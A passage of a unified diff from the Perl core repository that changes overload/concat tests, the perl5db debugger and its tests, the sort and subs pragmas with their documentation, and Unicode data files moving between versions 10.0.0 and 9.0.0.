'rrAr', '(.,[A],r,1)(.=,[rA],r,u)(.,[rAr],r,1)' - .'("",[rrAr],u,)'; - - # object on both LHS and RHS - - c '$R.=$R', 'RR', '(.=,[R],[R],u)("",[RR],u,)'; - c '$R.=$R.$b.$c', 'RRbc', '(.,[R],b,)(.=,[Rb],c,u)(.=,[R],[Rbc],u)' - .'("",[RRbc],u,)'; - c '$R.=$a.$R.$c', 'RaRc', '(.,[R],a,1)(.=,[aR],c,u)(.=,[R],[aRc],u)' - .'("",[RaRc],u,)'; - c '$R.=$a.$b.$R', 'RabR', '(.,[R],ab,1)(.=,[R],[abR],u)("",[RabR],u,)'; - - - # sprintf shouldn't do concat overloading - - cc '$r=sprintf("%s%s%s",$a,$B,$c)', 'aBc', 0, '("",[B],u,)'; - cc '$R=sprintf("%s%s%s",$a,$B,$c)', 'aBc', 0, '("",[B],u,)'; - cc '$r.=sprintf("%s%s%s",$a,$B,$c)', 'raBc', 0, '("",[B],u,)'; - cc '$R.=sprintf("%s%s%s",$a,$B,$c)', 'RaBc', 1, '("",[B],u,)(.=,[R],aBc,u)' - .'("",[RaBc],u,)'; - - # multiple constants should individually overload (RT #132385) - - c '$r=$A."b"."c"', 'Abc', '(.,[A],b,)(.=,[Ab],c,u)("",[Abc],u,)'; - - # ... except for this - c '$R.="a"."b"', 'Rab', '(.=,[R],ab,u)("",[Rab],u,)'; -} - -# RT #132385 -# The first arg of a reversed concat shouldn't be stringified: -# $left . $right -# where $right is overloaded, should invoke -# concat($right, $left, 1) -# rather than -# concat($right, "$left", 1) -# There's a similar issue with -# $left .= $right -# when left is overloaded - -package RT132385 { - - use constant C => [ "constref" ]; - - use overload '.' => sub { - my ($l, $r, $rev) = @_; - ($l,$r) = ($r,$l) if $rev; - $l = ref $l ? $l->[0] : "$l"; - $r = ref $r ? $r->[0] : "$r"; - "$l-$r"; - } - ; - - my $r1 = [ "ref1" ]; - my $r2 = [ "ref2" ]; - my $s1 = "str1"; - - my $o = bless [ "obj" ]; - - # try variations that will call either pp_concat or pp_multiconcat, - # with the ref as the first or a later arg - - ::is($r1.$o, "ref1-obj", "RT #132385 r1.o"); - ::is($r1.$o.$s1 , "ref1-objstr1", "RT #132385 r1.o.s1"); - ::is("const".$o.$s1 ,"const-objstr1", "RT #132385 const.o.s1"); - ::is(C.$o.$s1 ,"constref-objstr1", "RT #132385 C.o.s1"); - - ::like($r1.$r2.$o, qr/^ARRAY\(0x\w+\)ARRAY\(0x\w+\)-obj/, - "RT #132385 r1.r2.o"); - - # ditto with a mutator - ::is($o .= $r1, "obj-ref1", "RT #132385 o.=r1"); -} - -# the RHS of an overloaded .= should be passed as-is to the overload -# method, rather than being stringified or otherwise being processed in -# such a way that it triggers an undef warning -package RT132783 { - use warnings; - use overload '.=' => sub { return "foo" }; - my $w = 0; - local $SIG{__WARN__} = sub { $w++ }; - my $undef; - my $ov = bless []; - $ov .= $undef; - ::is($w, 0, "RT #132783 - should be no warnings"); -} - -# changing the overloaded object to a plain string within an overload -# method should be permanent. -package RT132827 { - use overload '""' => sub { $_[0] = "a" }; - my $ov = bless []; - my $b = $ov . "b"; - ::is(ref \$ov, "SCALAR", "RT #132827"); -} - -# RT #132793 -# An arg like like "$b" in $overloaded .= "$b" should be stringified -# before being passed to the method - -package RT132793 { - my $type; - my $str = 0; - use overload - '.=' => sub { $type = ref(\$_[1]); "foo"; }, - '""' => sub { $str++; "bar" }; - - my $a = bless {}; - my $b = bless {}; - $a .= "$b"; - ::is($type, "SCALAR", "RT #132793 type"); - ::is($str, 1, "RT #132793 stringify count"); -} - -# RT #132801 -# A second RHS-not-stringified bug - -package RT132801 { - my $type; - my $str = 0; - my $concat = 0; - use overload - '.' => sub { $concat++; bless []; }, - '""' => sub { $str++; "bar" }; - - my $a = "A"; - my $b = bless []; - my $c; - $c = "$a-$b"; - ::is($concat, 1, "RT #132801 concat count"); - ::is($str, 1, "RT #132801 stringify count"); -} - -# General testing of optimising away OP_STRINGIFY, and whether -# OP_MULTICONCAT emulates existing behaviour. -# -# It could well be argued that the existing behaviour is buggy, but -# for now emulate the old behaviour. -# -# In more detail: -# -# Since 5.000, any OP_STRINGIFY immediately following an OP_CONCAT -# is optimised away, on the assumption that since concat will always -# return a valid string anyway, it doesn't need stringifying. -# So in "$x", the stringify is needed, but on "$x$y" it isn't. -# This assumption is flawed once overloading has been introduced, since -# concat might return an overloaded object which still needs stringifying. -# However, this flawed behaviour is apparently needed by at least one -# module, and is tested for in opbasic/concat.t: see RT #124160. -# -# There is also a wart with the OPpTARGET_MY optimisation: specifically, -# in $lex = "...", if $lex is a lexical var, then a chain of 2 or more -# concats *doesn't* optimise away OP_STRINGIFY: -# -# $lex = "$x"; # stringifies -# $lex = "$x$y"; # doesn't stringify -# $lex = "$x$y$z..."; # stringifies - -package Stringify { - my $count; - use overload - '.' => sub { - my ($a, $b, $rev) = @_; - bless [ $rev ? "$b" . $a->[0] : $a->[0] . "$b" ]; - }, - '""' => sub { $count++; $_[0][0] }, - ; - - for my $test( - [ 1, '$pkg = "$ov"' ], - [ 1, '$lex = "$ov"' ], - [ 1, 'my $a = "$ov"' ], - [ 1, '$pkg .= "$ov"' ], - [ 1, '$lex .= "$ov"' ], - [ 1, 'my $a .= "$ov"' ], - - [ 0, '$pkg = "$ov$x"' ], - [ 0, '$lex = "$ov$x"' ], - [ 0, 'my $a = "$ov$x"' ], - [ 0, '$pkg .= "$ov$x"' ], - [ 0, '$lex .= "$ov$x"' ], - [ 0, 'my $a .= "$ov$x"' ], - - [ 0, '$pkg = "$ov$x$y"' ], - [ 1, '$lex = "$ov$x$y"' ], # XXX note the anomaly - [ 0, 'my $a = "$ov$x$y"' ], - [ 0, '$pkg .= "$ov$x$y"' ], - [ 0, '$lex .= "$ov$x$y"' ], - [ 0, 'my $a .= "$ov$x$y"' ], - ) - { - my ($stringify, $code) = @$test; - our $pkg = 'P'; - my ($ov, $x, $y, $lex) = (bless(['OV']), qw(X Y L)); - $count = 0; - eval "$code; 1" or die $@; - ::is $count, $stringify, $code; - } -} +# EOF diff --git a/lib/perl5db.pl b/lib/perl5db.pl index ecc49a814d8f..265b4441f390 100644 --- a/lib/perl5db.pl +++ b/lib/perl5db.pl @@ -529,7 +529,7 @@ BEGIN use vars qw($VERSION $header); # bump to X.XX in blead, only use X.XX_XX in maint -$VERSION = '1.53'; +$VERSION = '1.51'; $header = "perl5db.pl version $VERSION"; @@ -1871,10 +1871,7 @@ sub _DB__trim_command_and_return_first_component { $cmd =~ s/\A\s+//s; # trim annoying leading whitespace $cmd =~ s/\s+\z//s; # trim annoying trailing whitespace - # A single-character debugger command can be immediately followed by its - # argument if they aren't both alphanumeric; otherwise require space - # between commands and arguments: - my ($verb, $args) = $cmd =~ m{\A(.\b|\S*)\s*(.*)}s; + my ($verb, $args) = $cmd =~ m{\A(\S*)\s*(.*)}s; $obj->cmd_verb($verb); $obj->cmd_args($args); @@ -6631,9 +6628,9 @@ sub dump_trace { $i++ ) { - # if the sub has args ($h true), make an anonymous array of the - # dumped args. - my $args = $h ? _dump_trace_calc_save_args($nothard) : undef; + + # Go through the arguments and save them for later. + my $save_args = _dump_trace_calc_save_args($nothard); # If context is true, this is array (@)context. # If context is false, this is scalar ($) context. @@ -6641,6 +6638,10 @@ sub dump_trace { # happen' trap.) $context = $context ? '@' : ( defined $context ? "\$" : '.' ); + # if the sub has args ($h true), make an anonymous array of the + # dumped args. + $args = $h ? $save_args : undef; + # remove trailing newline-whitespace-semicolon-end of line sequence # from the eval text, if any. $e =~ s/\n\s*\;\s*\Z// if $e; diff --git a/lib/perl5db.t b/lib/perl5db.t index 3d432ad52ea5..a2dccc6fd3c7 100644 --- a/lib/perl5db.t +++ b/lib/perl5db.t @@ -31,7 +31,7 @@ BEGIN { $ENV{PERL_RL} = 'Perl'; # Suppress system Term::ReadLine::Gnu } -plan(127); +plan(123); my $rc_filename = '.perldb'; @@ -2817,90 +2817,6 @@ SKIP: ); } -{ - # perl 5 RT #120174 - 'p' command - my $wrapper = DebugWrap->new( - { - cmds => - [ - 'b 2', - 'c', - 'p@abc', - 'q', - ], - prog => '../lib/perl5db/t/rt-120174', - } - ); - - $wrapper->contents_like( - qr/1234/, - q/RT 120174: p command can be invoked without space after 'p'/, - ); -} - -{ - # perl 5 RT #120174 - 'x' command on array - my $wrapper = DebugWrap->new( - { - cmds => - [ - 'b 2', - 'c', - 'x@abc', - 'q', - ], - prog => '../lib/perl5db/t/rt-120174', - } - ); - - $wrapper->contents_like( - qr/0\s+1\n1\s+2\n2\s+3\n3\s+4/ms, - q/RT 120174: x command can be invoked without space after 'x' before array/, - ); -} - -{ - # perl 5 RT #120174 - 'x' command on array ref - my $wrapper = DebugWrap->new( - { - cmds => - [ - 'b 2', - 'c', - 'x\@abc', - 'q', - ], - prog => '../lib/perl5db/t/rt-120174', - } - ); - - $wrapper->contents_like( - qr/\s+0\s+1\n\s+1\s+2\n\s+2\s+3\n\s+3\s+4/ms, - q/RT 120174: x command can be invoked without space after 'x' before array ref/, - ); -} - -{ - # perl 5 RT #120174 - 'x' command on hash ref - my $wrapper = DebugWrap->new( - { - cmds => - [ - 'b 4', - 'c', - 'x\%xyz', - 'q', - ], - prog => '../lib/perl5db/t/rt-120174', - } - ); - - $wrapper->contents_like( - qr/\s+'alpha'\s+=>\s+'beta'\n\s+'gamma'\s+=>\s+'delta'/ms, - q/RT 120174: x command can be invoked without space after 'x' before hash ref/, - ); -} - END { 1 while unlink ($rc_filename, $out_fn); } diff --git a/lib/perl5db/t/rt-120174 b/lib/perl5db/t/rt-120174 deleted file mode 100644 index c79c8510699f..000000000000 --- a/lib/perl5db/t/rt-120174 +++ /dev/null @@ -1,4 +0,0 @@ -@abc = (1..4); -print "hello world\n"; -%xyz = ( 'alpha' => 'beta', 'gamma' => 'delta' ); -print "goodbye world\n"; diff --git a/lib/perlbug.t b/lib/perlbug.t index bb6180bcfa25..ed32c044f347 100644 --- a/lib/perlbug.t +++ b/lib/perlbug.t @@ -42,7 +42,7 @@ sub _dump { return 1; } -plan(25); +plan(22); # check -d @@ -153,13 +153,3 @@ for (split(/\n/, $contents)) { } ok($maxlen1 < 1000, "[perl #128020] long body lines are wrapped: maxlen $maxlen1"); ok($maxlen2 > 1000, "long attachment lines are not wrapped: maxlen $maxlen2"); - -$result = runperl( progfile => $extracted_program, stderr => 1, args => ['-o'] ); # Invalid option -like($result, qr/^\s*This program is designed/, "No leading error messages with help from invalid arg."); - -$result = runperl( progfile => $extracted_program, stderr => 1, args => ['--help'] ); # Invalid option -like($result, qr/^\s*perlbug version \d+\.\d+\n+This program is designed/, "No leading error messages with help from --help and version is displayed."); - -$result = runperl( progfile => $extracted_program, stderr => 1, args => ['--version'] ); # Invalid option -like($result, qr/^perlbug version \d+\.\d+\n$/, "No leading error messages with --version"); -#print $result; diff --git a/lib/sort.pm b/lib/sort.pm index 659f3e4f4d85..7c8e50db5779 100644 --- a/lib/sort.pm +++ b/lib/sort.pm @@ -1,12 +1,14 @@ package sort; -our $VERSION = '2.04'; +our $VERSION = '2.02'; # The hints for pp_sort are now stored in $^H{sort}; older versions # of perl used the global variable $sort::hints. -- rjh 2005-12-19 +$sort::quicksort_bit = 0x00000001; +$sort::mergesort_bit = 0x00000002; +$sort::sort_bits = 0x000000FF; # allow 256 different ones $sort::stable_bit = 0x00000100; -$sort::unstable_bit = 0x00000200; use strict; @@ -19,9 +21,14 @@ sub import { local $_; $^H{sort} //= 0; while ($_ = shift(@_)) { - if ($_ eq 'stable') { + if (/^_q(?:uick)?sort$/) { + $^H{sort} &= ~$sort::sort_bits; + $^H{sort} |= $sort::quicksort_bit; + } elsif ($_ eq '_mergesort') { + $^H{sort} &= ~$sort::sort_bits; + $^H{sort} |= $sort::mergesort_bit; + } elsif ($_ eq 'stable') { $^H{sort} |= $sort::stable_bit; - $^H{sort} &= ~$sort::unstable_bit; } elsif ($_ eq 'defaults') { $^H{sort} = 0; } else { @@ -40,9 +47,12 @@ sub unimport { local $_; no warnings 'uninitialized'; # bitops would warn while ($_ = shift(@_)) { - if ($_ eq 'stable') { + if (/^_q(?:uick)?sort$/) { + $^H{sort} &= ~$sort::sort_bits; + } elsif ($_ eq '_mergesort') { + $^H{sort} &= ~$sort::sort_bits; + } elsif ($_ eq 'stable') { $^H{sort} &= ~$sort::stable_bit; - $^H{sort} |= $sort::unstable_bit; } else { require Carp; Carp::croak("sort: unknown subpragma '$_'"); @@ -53,8 +63,11 @@ sub unimport { sub current { my @sort; if ($^H{sort}) { + push @sort, 'quicksort' if $^H{sort} & $sort::quicksort_bit; + push @sort, 'mergesort' if $^H{sort} & $sort::mergesort_bit; push @sort, 'stable' if $^H{sort} & $sort::stable_bit; } + push @sort, 'mergesort' unless @sort; join(' ', @sort); } @@ -68,12 +81,16 @@ sort - perl pragma to control sort() behaviour =head1 SYNOPSIS use sort 'stable'; # guarantee stability + use sort '_quicksort'; # use a quicksort algorithm + use sort '_mergesort'; # use a mergesort algorithm use sort 'defaults'; # revert to default behavior no sort 'stable'; # stability not important + use sort '_qsort'; # alias for quicksort + my $current; BEGIN { - $current = sort::current(); # identify prevailing pragmata + $current = sort::current(); # identify prevailing algorithm } =head1 DESCRIPTION @@ -81,8 +98,15 @@ sort - perl pragma to control sort() behaviour With the C pragma you can control the behaviour of the builtin C function. +In Perl versions 5.6 and earlier the quicksort algorithm was used to +implement C, but in Perl 5.8 a mergesort algorithm was also made +available, mainly to guarantee worst case O(N log N) behaviour: +the worst case of quicksort is O(N**2). In Perl 5.8 and later, +quicksort defends against quadratic behaviour by shuffling large +arrays before sorting. + A stable sort means that for records that compare equal, the original -input ordering is preserved. +input ordering is preserved. Mergesort is stable, quicksort is not. Stability will matter only if elements that compare equal can be distinguished in some other way. That means that simple numerical and lexical sorts do not profit from stability, since equal elements @@ -92,10 +116,22 @@ are indistinguishable. However, with a comparison such as stability might matter because elements that compare equal on the first 3 characters may be distinguished based on subsequent characters. - -Whether sorting is stable by default is an accident of implementation -that can change (and has changed) between Perl versions. -If stability is important, be sure to +In Perl 5.8 and later, quicksort can be stabilized, but doing so will +add overhead, so it should only be done if it matters. + +The best algorithm depends on many things. On average, mergesort +does fewer comparisons than quicksort, so it may be better when +complicated comparison routines are used. Mergesort also takes +advantage of pre-existing order, so it would be favored for using +C to merge several sorted arrays. On the other hand, quicksort +is often faster for small arrays, and on arrays of a few distinct +values, repeated many times. You can force the +choice of algorithm with this pragma, but this feels heavy-handed, +so the subpragmas beginning with a C<_> may not persist beyond Perl 5.8. +The default algorithm is mergesort, which will be stable even if +you do not explicitly demand it. +But the stability of the default sort is a side-effect that could +change in later versions. If stability is important, be sure to say so with a use sort 'stable'; @@ -103,9 +139,15 @@ say so with a The C pragma doesn't I what follows, it just leaves the choice open. Thus, after - no sort 'stable'; + no sort qw(_mergesort stable); + +a mergesort, which happens to be stable, will be employed anyway. +Note that + + no sort "_quicksort"; + no sort "_mergesort"; -sorting may happen to be stable anyway. +have exactly the same effect, leaving the choice of sort algorithm open. =head1 CAVEATS @@ -114,7 +156,8 @@ at compile time. In earlier versions its effect was global and took effect at run-time; the documentation suggested using C to change the behaviour: - { eval 'no sort "stable"'; # stability not wanted + { eval 'use sort qw(defaults _quicksort)'; # force quicksort + eval 'no sort "stable"'; # stability not wanted print sort::current . "\n"; @a = sort @b; eval 'use sort "defaults"'; # clean up, for others @@ -134,7 +177,8 @@ is the one that matters. So now this code would be written: - { no sort "stable"; # stability not wanted + { use sort qw(defaults _quicksort); # force quicksort + no sort "stable"; # stability not wanted my $current; BEGIN { $current = sort::current; } print "$current\n"; diff --git a/lib/sort.t b/lib/sort.t index e0ef9d3facaa..b44269ac299e 100644 --- a/lib/sort.t +++ b/lib/sort.t @@ -26,8 +26,10 @@ use strict; use warnings; use Test::More tests => @TestSizes * 2 # sort() tests - * 3 # number of pragmas to test - + 2; # tests for sort::current + * 6 # number of pragmas to test + + 1 # extra test for qsort instability + + 3 # tests for sort::current + + 3; # tests for "defaults" and "no sort" # Generate array of specified size for testing sort. # @@ -128,33 +130,47 @@ sub main { } } -# Test with no pragma yet loaded. Stability is expected from default sort. +# Test with no pragma still loaded -- stability expected (this is a mergesort) main(sub { sort {&{$_[0]}} @{$_[1]} }, 0); -# Verify that we have eliminated the segfault that could be triggered -# by invoking a sort as part of a comparison routine. -# No need for an explicit test. If we don't segfault, we're good. +{ + use sort qw(_qsort); + my $sort_current; BEGIN { $sort_current = sort::current(); } + is($sort_current, 'quicksort', 'sort::current for _qsort'); + main(sub { sort {&{$_[0]}} @{$_[1]} }, 1); +} { - sub dumbsort { - my ($a, $b) = @_; - use sort qw( defaults stable ); - my @ignore = sort (5,4,3,2,1); - return $a <=> $b; - } - use sort qw( defaults stable ); - my @nested = sort { dumbsort($a,$b) } (3,2,2,1); + use sort qw(_mergesort); + my $sort_current; BEGIN { $sort_current = sort::current(); } + is($sort_current, 'mergesort', 'sort::current for _mergesort'); + main(sub { sort {&{$_[0]}} @{$_[1]} }, 0); } { - use sort qw(stable); + use sort qw(_qsort stable); my $sort_current; BEGIN { $sort_current = sort::current(); } - is($sort_current, 'stable', 'sort::current for stable'); + is($sort_current, 'quicksort stable', 'sort::current for _qsort stable'); main(sub { sort {&{$_[0]}} @{$_[1]} }, 0); } # Tests added to check "defaults" subpragma, and "no sort" +{ + use sort qw(_qsort stable); + no sort qw(_qsort); + my $sort_current; BEGIN { $sort_current = sort::current(); } + is($sort_current, 'stable', 'sort::current after no _qsort'); + main(sub { sort {&{$_[0]}} @{$_[1]} }, 0); +} + +{ + use sort qw(defaults _qsort); + my $sort_current; BEGIN { $sort_current = sort::current(); } + is($sort_current, 'quicksort', 'sort::current after defaults _qsort'); + # Not expected to be stable, so don't test for stability here +} + { use sort qw(defaults stable); my $sort_current; BEGIN { $sort_current = sort::current(); } diff --git a/lib/subs.pm b/lib/subs.pm index 24814596baaa..10d6e023f46c 100644 --- a/lib/subs.pm +++ b/lib/subs.pm @@ -1,10 +1,10 @@ package subs; -our $VERSION = '1.03'; +our $VERSION = '1.02'; =head1 NAME -subs - Perl pragma to predeclare subroutine names +subs - Perl pragma to predeclare sub names =head1 SYNOPSIS @@ -13,14 +13,13 @@ subs - Perl pragma to predeclare subroutine names =head1 DESCRIPTION -This will predeclare all the subroutines whose names are -in the list, allowing you to use them without parentheses (as list operators) +This will predeclare all the subroutine whose names are +in the list, allowing you to use them without parentheses even before they're declared. Unlike pragmas that affect the C<$^H> hints variable, the C and -C declarations are not lexically scoped to the block they appear -in: they affect -the entire package in which they appear. It is not possible to rescind these +C declarations are not BLOCK-scoped. They are thus effective +for the entire package in which they appear. You may not rescind such declarations with C or C. See L and L. diff --git a/lib/unicore/ArabicShaping.txt b/lib/unicore/ArabicShaping.txt index f2ef1fad74cb..cddc5b401639 100644 --- a/lib/unicore/ArabicShaping.txt +++ b/lib/unicore/ArabicShaping.txt @@ -1,6 +1,6 @@ -# ArabicShaping-10.0.0.txt -# Date: 2017-02-16, 00:00:00 GMT [RP, KW] -# © 2017 Unicode®, Inc. +# ArabicShaping-9.0.0.txt +# Date: 2016-02-24, 22:25:00 GMT [RP] +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -86,7 +86,7 @@ # Note: Code points that are not explicitly listed in this file are # either of joining type T or U: # -# - Those that are not explicitly listed and that are of General Category Mn, Me, or Cf +# - Those that not explicitly listed that are of General Category Mn, Me, or Cf # have joining type T. # - All others not explicitly listed have joining type U. # @@ -413,20 +413,6 @@ 0857; MANDAIC KAD; U; No_Joining_Group 0858; MANDAIC AIN; U; No_Joining_Group -# Syriac Supplement Characters - -0860; MALAYALAM NGA; D; MALAYALAM NGA -0861; MALAYALAM JA; U; MALAYALAM JA -0862; MALAYALAM NYA; D; MALAYALAM NYA -0863; MALAYALAM TTA; D; MALAYALAM TTA -0864; MALAYALAM NNA; D; MALAYALAM NNA -0865; MALAYALAM NNNA; D; MALAYALAM NNNA -0866; MALAYALAM BHA; U; MALAYALAM BHA -0867; MALAYALAM RA; R; MALAYALAM RA -0868; MALAYALAM LLA; D; MALAYALAM LLA -0869; MALAYALAM LLLA; R; MALAYALAM LLLA -086A; MALAYALAM SSA; R; MALAYALAM SSA - # Arabic Extended-A Characters 08A0; DOTLESS BEH WITH V BELOW; D; BEH diff --git a/lib/unicore/BidiBrackets.txt b/lib/unicore/BidiBrackets.txt index 2114e632b9fa..eb02a24bfc05 100644 --- a/lib/unicore/BidiBrackets.txt +++ b/lib/unicore/BidiBrackets.txt @@ -1,6 +1,6 @@ -# BidiBrackets-10.0.0.txt -# Date: 2017-04-12, 17:30:00 GMT [AG, LI, KW] -# © 2017 Unicode®, Inc. +# BidiBrackets-9.0.0.txt +# Date: 2016-06-07, 22:30:00 GMT [AG, LI, KW] +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -8,7 +8,7 @@ # For documentation, see http://www.unicode.org/reports/tr44/ # # Bidi_Paired_Bracket and Bidi_Paired_Bracket_Type Properties -# +# # This file is a normative contributory data file in the Unicode # Character Database. # diff --git a/lib/unicore/BidiMirroring.txt b/lib/unicore/BidiMirroring.txt index cbb61c4b570a..68142c5e326e 100644 --- a/lib/unicore/BidiMirroring.txt +++ b/lib/unicore/BidiMirroring.txt @@ -1,13 +1,13 @@ -# BidiMirroring-10.0.0.txt -# Date: 2017-04-12, 17:30:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# BidiMirroring-9.0.0.txt +# Date: 2016-01-21, 22:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database # For documentation, see http://www.unicode.org/reports/tr44/ # # Bidi_Mirroring_Glyph Property -# +# # This file is an informative contributory data file in the # Unicode Character Database. # @@ -15,20 +15,20 @@ # value, for which there is another Unicode character that typically has a glyph # that is the mirror image of the original character's glyph. # -# The repertoire covered by the file is Unicode 10.0.0. -# +# The repertoire covered by the file is Unicode 9.0.0. +# # The file contains a list of lines with mappings from one code point # to another one for character-based mirroring. # Note that for "real" mirroring, a rendering engine needs to select # appropriate alternative glyphs, and that many Unicode characters do not # have a mirror-image Unicode character. -# +# # Each mapping line contains two fields, separated by a semicolon (';'). # Each of the two fields contains a code point represented as a # variable-length hexadecimal value with 4 to 6 digits. # A comment indicates where the characters are "BEST FIT" mirroring. -# -# Code points for which Bidi_Mirrored=Yes, but for which no appropriate +# +# Code points for which Bidi_Mirrored=Yes, but for which no appropriate # characters exist with mirrored glyphs, are # listed as comments at the end of the file. # @@ -38,14 +38,14 @@ # point has the default value for the Bidi_Mirroring_Glyph property, # that means that no other character exists whose glyph is suitable # for character-based mirroring. -# +# # For information on bidi mirroring, see UAX #9: Unicode Bidirectional Algorithm, # at http://www.unicode.org/unicode/reports/tr9/ -# +# # This file was originally created by Markus Scherer. # Extended for Unicode 3.2, 4.0, 4.1, 5.0, 5.1, 5.2, and 6.0 by Ken Whistler, # and for subsequent versions by Ken Whistler and Laurentiu Iancu. -# +# # ############################################################ # # Property: Bidi_Mirroring_Glyph diff --git a/lib/unicore/Blocks.txt b/lib/unicore/Blocks.txt index a4f851b14a5f..74c41e58a813 100644 --- a/lib/unicore/Blocks.txt +++ b/lib/unicore/Blocks.txt @@ -1,6 +1,6 @@ -# Blocks-10.0.0.txt -# Date: 2017-04-12, 17:30:00 GMT [KW] -# © 2017 Unicode®, Inc. +# Blocks-9.0.0.txt +# Date: 2016-02-05, 23:48:00 GMT [KW] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database @@ -14,12 +14,12 @@ # Note: When comparing block names, casing, whitespace, hyphens, # and underbars are ignored. # For example, "Latin Extended-A" and "latin extended a" are equivalent. -# For more information on the comparison of property values, +# For more information on the comparison of property values, # see UAX #44: http://www.unicode.org/reports/tr44/ # # All block ranges start with a value where (cp MOD 16) = 0, # and end with a value where (cp MOD 16) = 15. In other words, -# the last hexadecimal digit of the start of range is ...0 +# the last hexadecimal digit of the start of range is ...0 # and the last hexadecimal digit of the end of range is ...F. # This constraint on block ranges guarantees that allocations # are done in terms of whole columns, and that code chart display @@ -51,7 +51,6 @@ 07C0..07FF; NKo 0800..083F; Samaritan 0840..085F; Mandaic -0860..086F; Syriac Supplement 08A0..08FF; Arabic Extended-A 0900..097F; Devanagari 0980..09FF; Bengali @@ -254,12 +253,9 @@ FFF0..FFFF; Specials 11680..116CF; Takri 11700..1173F; Ahom 118A0..118FF; Warang Citi -11A00..11A4F; Zanabazar Square -11A50..11AAF; Soyombo 11AC0..11AFF; Pau Cin Hau 11C00..11C6F; Bhaiksuki 11C70..11CBF; Marchen -11D00..11D5F; Masaram Gondi 12000..123FF; Cuneiform 12400..1247F; Cuneiform Numbers and Punctuation 12480..1254F; Early Dynastic Cuneiform @@ -274,8 +270,6 @@ FFF0..FFFF; Specials 17000..187FF; Tangut 18800..18AFF; Tangut Components 1B000..1B0FF; Kana Supplement -1B100..1B12F; Kana Extended-A -1B170..1B2FF; Nushu 1BC00..1BC9F; Duployan 1BCA0..1BCAF; Shorthand Format Controls 1D000..1D0FF; Byzantine Musical Symbols @@ -306,7 +300,6 @@ FFF0..FFFF; Specials 2A700..2B73F; CJK Unified Ideographs Extension C 2B740..2B81F; CJK Unified Ideographs Extension D 2B820..2CEAF; CJK Unified Ideographs Extension E -2CEB0..2EBEF; CJK Unified Ideographs Extension F 2F800..2FA1F; CJK Compatibility Ideographs Supplement E0000..E007F; Tags E0100..E01EF; Variation Selectors Supplement diff --git a/lib/unicore/CJKRadicals.txt b/lib/unicore/CJKRadicals.txt index 62865efbae15..e68bd1e3bcf7 100644 --- a/lib/unicore/CJKRadicals.txt +++ b/lib/unicore/CJKRadicals.txt @@ -1,6 +1,6 @@ -# CJKRadicals-10.0.0.txt -# Date: 2017-02-15, 00:00:00 GMT [RC, KW, LI] -# © 2017 Unicode®, Inc. +# CJKRadicals-9.0.0.txt +# Date: 2016-01-22, 06:00:00 GMT [RC, KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database diff --git a/lib/unicore/CaseFolding.txt b/lib/unicore/CaseFolding.txt index efdf18e441c6..372ee68bd814 100644 --- a/lib/unicore/CaseFolding.txt +++ b/lib/unicore/CaseFolding.txt @@ -1,6 +1,6 @@ -# CaseFolding-10.0.0.txt -# Date: 2017-04-14, 05:40:18 GMT -# © 2017 Unicode®, Inc. +# CaseFolding-9.0.0.txt +# Date: 2016-03-02, 18:54:54 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -24,7 +24,7 @@ # # NOTE: case folding does not preserve normalization formats! # -# For information on case folding, including how to have case folding +# For information on case folding, including how to have case folding # preserve normalization formats, see Section 3.13 Default Case Algorithms in # The Unicode Standard. # diff --git a/lib/unicore/CompositionExclusions.txt b/lib/unicore/CompositionExclusions.txt index ff42508686d9..1999ed132830 100644 --- a/lib/unicore/CompositionExclusions.txt +++ b/lib/unicore/CompositionExclusions.txt @@ -1,6 +1,6 @@ -# CompositionExclusions-10.0.0.txt -# Date: 2017-02-15, 00:00:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# CompositionExclusions-9.0.0.txt +# Date: 2016-01-21, 22:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database diff --git a/lib/unicore/DAge.txt b/lib/unicore/DAge.txt index 917afd413cd7..e9c7cd65f78d 100644 --- a/lib/unicore/DAge.txt +++ b/lib/unicore/DAge.txt @@ -1,6 +1,6 @@ -# DerivedAge-10.0.0.txt -# Date: 2017-04-14, 05:40:18 GMT -# © 2017 Unicode®, Inc. +# DerivedAge-9.0.0.txt +# Date: 2016-03-02, 18:54:54 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -13,7 +13,7 @@ # Notes: # # - The term 'assigned' means that a previously reserved code point was assigned -# to be a character (graphic, format, control, or private-use); +# to be a character (graphic, format, control, or private-use); # a noncharacter code point; or a surrogate code point. # For more information, see The Unicode Standard Section 2.4 # @@ -1598,53 +1598,4 @@ A8C5 ; 9.0 # SAURASHTRA SIGN CANDRABINDU # Total code points: 7500 -# ================================================ - -# Age=V10_0 - -# Newly assigned in Unicode 10.0.0 (June, 2017) - -0860..086A ; 10.0 # [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA -09FC..09FD ; 10.0 # [2] BENGALI LETTER VEDIC ANUSVARA..BENGALI ABBREVIATION SIGN -0AFA..0AFF ; 10.0 # [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE -0D00 ; 10.0 # MALAYALAM SIGN COMBINING ANUSVARA ABOVE -0D3B..0D3C ; 10.0 # [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA -1CF7 ; 10.0 # VEDIC SIGN ATIKRAMA -1DF6..1DF9 ; 10.0 # [4] COMBINING KAVYKA ABOVE RIGHT..COMBINING WIDE INVERTED BRIDGE BELOW -20BF ; 10.0 # BITCOIN SIGN -23FF ; 10.0 # OBSERVER EYE SYMBOL -2BD2 ; 10.0 # 